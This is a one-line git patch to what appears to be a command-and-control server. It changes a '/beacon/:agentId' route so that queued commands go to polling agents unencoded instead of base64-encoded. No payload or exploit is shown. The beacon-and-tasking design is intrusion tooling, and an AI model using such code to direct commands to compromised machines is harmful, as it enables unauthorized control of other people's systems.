From 42164e5c31d57a39baade75bb72c819e31539422 Mon Sep 17 00:00:00 2001 From: sigonasr2 Date: Fri, 21 Aug 2020 06:23:49 +0900 Subject: [PATCH] Update --- app/app.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/app.js b/app/app.js index b6bc45e..b094dc2 100644 --- a/app/app.js +++ b/app/app.js @@ -121,7 +121,7 @@ app.get('/beacon/:agentId', (req, res) => { agentStore.updateAgentBeaconTime(agentId) const task = taskStore.getNextTaskForAgent(agentId) if (task) { - res.status(200).send(`${task.id}||${Buffer.from(task.command).toString('base64')}`) + res.status(200).send(`${task.id}||${task.command}`) } else { res.status(200).send('sleep') }